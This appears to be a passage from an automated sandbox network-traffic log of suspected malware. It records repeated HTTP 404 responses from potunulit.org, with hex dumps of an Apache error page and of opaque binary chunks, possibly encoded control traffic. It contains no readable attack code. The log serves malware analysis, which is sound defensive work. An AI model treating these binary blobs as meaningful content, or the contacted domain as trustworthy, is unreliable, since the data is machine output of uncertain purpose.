Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RJF8z7ssOvygLpiNEwvJR4xFq25G7K%2FFCSabTju%2Fd8MN9%2BHqlSoO8Qzcq69Ujt4OLAANjwOkXVjg27tEKuar9AZAZSUwzwwYlQi8n6RPKTxiSFvX%2FqmFVHHJgMlrY9aK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5349529b21c3e-FRAalt-svc: h3=":443"; ma=86400Data Raw: 33 31 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 01 d4 51 d6 fa 01 a1 67 f2 25 48 17 32 f7 29 10 69 9c 17 20 05 7d d4 b5 ca ac dd 34 0d 0a Data Ascii: 31Uys/~(u:RQg%H2)i }4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VVDFewRPX0lrtpQZq51IxyneMYG9b%2Faxq8Ju22pGPohy2HhZ1KLnhtWsNrBDygoV%2FeDvg61Zd3anID3tSO67iFlsqbtGibXjygH8iwPiXNrx6raWISvxoqvT7T8z1bgg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5349c2e31382c-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZlwVRNGUh7CbThuLujMeAM1xnNvGAy%2F00SHRUNSdto%2BYWj1YK9OE9ZCWAcC8zp2u3K8BsjZqrM9YEqk3pq5LXZ9xYGh%2BbRF3do3AY9RnT9YhKyLj8mUAJ19qXACc4htF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5349d7f96382c-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 49 c0 5f 88 1a 85 a2 4e fb 79 be 3a 4a 4e 32 e2 28 01 7c 89 0d 0a Data Ascii: 27Uys/~(`:I_Ny:JN2(\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HAOOdGhRujfYJHxmV2ZilsAI60sxnRc8oSGWSR3R2ie8jasS1M0713nB2%2FjvMqlpX1d6oLsdCRARiRmz62SQ6voLAp3BxGK%2BlTO8k4GRS9dSmc2nsnfDOFo0OW%2BYr76r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534c34acc925c-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CoKuaJxrsy1BTtA%2Fufr7XBMQeJmDT%2BAv4aFmGn7Qq3OM4mG064b0R91uSyDFGJ4XiWiI%2BUpHSbRKq6nKN1%2BLWn23dRG42v1OURapxCL5Tue4smu4JvpfVw7pk8OoZiVK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534c43bae925c-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 9a 1d d8 47 c7 fb 19 ed 2a fe 27 0a 5d 3b bf 64 11 6d 80 5c 67 0e 61 d4 0d 0a Data Ascii: 2cUys/~(`:G*'];dm\ga
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mIzfoZjAep4O24LkyH631synyeKYG62EP42AZLn5mvjfB1BlWyxZFTQBY5bI4snAytYxKHEtx3Ameqp49cgS0ynKIEs%2FK3bXcYMGbtR%2FwbF7%2BPll4Urz9n1JNMq5w%2F3s"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534e8f9fe1ad7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=15bJ6uYREiCrO2pwZ2CQV33tSjZJB1%2Bmh8mE7CdmHuzYBP9zXUf6rcXqTmOez4pdbEHJ8zsEp1Wiyr71jT6gBZ4BwDw0ewszZYk746tbViZKMYiD9q%2FoJcKBXqHjZSpv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534ea1b031ad7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 34 63 37 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 fd 05 9c 5b e4 9a 8a 32 48 ca 71 fe 94 59 ad 3d 0f cb 0e 1c 60 67 40 34 9c 7f 92 bf d5 a9 ab fd ad a4 6f 8b 34 81 cf 8a c8 b0 5d f2 3b ab c9 30 6a bc 20 b1 f3 f8 a5 e6 56 4b 78 13 b5 20 43 8d 6d 90 5f 68 ae 68 d5 9b 18 5d 5d 95 9e cb 81 1e bf 6c 13 d9 75 bc c0 84 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 9b 78 d4 77 d7 07 53 53 fa cb 1f 9e fd 09 50 2a ee 8c 8a 7b 7e 09 fd ff 78 c5 73 db c4 0d 13 13 86 50 e1 92 24 18 4f c5 03 c1 c1 a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 da c5 96 be 21 51 61 ae 7d 32 7c 8a 28 c8 c8 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 9f b2 ee 0e c0 eb 7e 71 eb 40 db 1a 58 29 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 bb 1a b9 ae e3 cc 23 92 67 0e 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 2b f8 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 1e ff 9d ab 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d 21 d5 8e 82 11 e8 e4 1f 12 ab 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 19 70 9a a2 ce 57 a3 08 45 a1 1f d4 3c 62 91 9c 37 06 f1 2c 0e a4 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 4a e3 96 0c 06 1a 50 6d 43 fc 0b 8a 8b e1 a2 54 d7 9c 3c c2 e0 2b c7 be bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b a3 e3 a2 bc 5b 6f e3 e3 1c eb 18 f5 52 48 44 0a 96 4d f1 e7 17 3f fe e9 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6c 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 Data Ascii: 4c7`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG[2HqY=`g@4o4];0j VKx Cm_hh]]lu3Ob>!ZC:>xwSSP{~xsP$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=W%2BvpUX0H7467ihrjcOEF8gzSSkIs%2BFZ1J5vb93UE45zlfgZxk9hGDjAXSjs5bprqgjdqW%2BZBzL34vx0kCaMlFshnMUWUVPmyQeIR8bT3gtd4Jr2rUoUn8HSpUnoXB%2BoW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534ee9ff21ad7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wxuOSfGZPj7OW4Clv1Wj6GtHAS85Z1uhhlkKPoOIDXa6%2Br9LCiNrBi80Ttklc6tB3ticsFzgohntJASniV%2Fq8AFkUOra6ZZTnuBZ2jRvFJM0a4wq%2Flt6KAQxZPoL%2BhvD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534f46edf1ad7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 34 63 37 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 fd 05 9c 5b e4 9a 8a 32 48 ca 71 fe 94 59 ad 3d 0f cb 0e 1c 60 67 40 34 9c 7f 92 bf d5 a9 ab fd ad a4 6f 8b 34 81 cf 8a c8 b0 5d f2 3b ab c9 30 6a bc 20 b1 f3 f8 a5 e6 56 4b 78 13 b5 20 43 8d 6d 90 5f 68 ae 68 d5 9b 18 5d 5d 95 9e cb 81 1e bf 6c 13 d9 75 bc c0 84 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 9b 78 d4 77 d7 07 53 53 fa cb 1f 9e fd 09 50 2a ee 8c 8a 7b 7e 09 fd ff 78 c5 73 db c4 0d 13 13 86 50 e1 92 24 18 4f c5 03 c1 c1 a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 da c5 96 be 21 51 61 ae 7d 32 7c 8a 28 c8 c8 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 9f b2 ee 0e c0 eb 7e 71 eb 40 db 1a 58 29 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 bb 1a b9 ae e3 cc 23 92 67 0e 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 2b f8 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 1e ff 9d ab 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d 21 d5 8e 82 11 e8 e4 1f 12 ab 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 19 70 9a a2 ce 57 a3 08 45 a1 1f d4 3c 62 91 9c 37 06 f1 2c 0e a4 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 4a e3 96 0c 06 1a 50 6d 43 fc 0b 8a 8b e1 a2 54 d7 9c 3c c2 e0 2b c7 be bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b a3 e3 a2 bc 5b 6f e3 e3 1c eb 18 f5 52 48 44 0a 96 4d f1 e7 17 3f fe e9 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6c 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 Data Ascii: 4c7`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG[2HqY=`g@4o4];0j VKx Cm_hh]]lu3Ob>!ZC:>xwSSP{~xsP$Oa
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZPep3qLBfGzcQZwhrGELCI8Jl%2FJ%2BOD56xPau%2FvdEKrKSGVPB6gqq5dzbTF1IXcxQ8Dt4gfcmocXYze5zvBR9VAkIx%2FwIIvOYBqGRPJSkYyyG%2Bvaa6zIqQQ9%2FRrW0jvii"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534f97cef1ad7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aglzIVaB5PruOYxiwcDDQDx7Xtg4OW4sFzSR%2FaYRJlt7anS9g4BYJkQqJvcdXvJX1CiQoVNyX3Fh0pHjVWkMyewQ%2BmrPUTjHuNeXjKuQXQkhh2lTQKHzUxhshpjARlw7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534fafe901ad7-FRAalt-svc: h3=":443"; ma=86400Data Raw: 33 31 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 01 d4 51 d6 fa 01 a1 67 f2 25 48 17 32 f7 29 10 69 9c 17 20 05 7d d4 b5 ca ac dd 34 0d 0a Data Ascii: 31Uys/~(u:RQg%H2)i }4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xJoeNqmI0G4wIUpcKMmZpC%2Bwj6vg81%2FfPvT4c9WdDIzG9vTdgWFSYNOfjGAAL%2F7ducBuJ4AlIRIxNOLtgjIs%2BPOxNTocll%2B%2BMSrow0sJbV85LoKoFLttGzL0nR7GKjVU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce535024eff1a47-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 